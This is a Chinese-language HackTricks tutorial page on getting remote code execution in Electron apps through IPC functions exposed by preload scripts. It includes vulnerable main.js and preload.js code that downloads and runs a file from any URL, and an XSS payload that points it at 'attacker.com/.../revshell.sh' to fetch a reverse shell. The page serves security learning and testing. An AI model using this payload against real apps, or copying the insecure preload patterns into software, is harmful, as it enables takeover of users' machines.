Electron contextIsolation RCE via IPC

Reading time: 4 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

如果预加载脚本从 main.js 文件暴露了一个 IPC 端点,渲染进程将能够访问它,如果存在漏洞,可能会导致 RCE。

这些示例大多来自这里 https://www.youtube.com/watch?v=xILfQGkLXQo。查看视频以获取更多信息。

示例 0

来自 https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 的示例(您可以在这些幻灯片中看到 MS Teams 如何利用 XSS 进行 RCE 的完整示例,这只是一个非常基本的示例):

示例 1

检查 main.js 如何监听 getUpdate 并将 下载并执行任何传递的 URL
还要检查 preload.js 如何 暴露任何 IPC 事件来自 main。

javascript
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})

mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

利用:

html
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

示例 2

如果预加载脚本直接向渲染器暴露调用 shell.openExternal 的方式,则可能获得 RCE

javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}

示例 3

如果预加载脚本暴露了与主进程完全通信的方式,则 XSS 将能够发送任何事件。这种影响取决于主进程在 IPC 方面暴露了什么。

javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks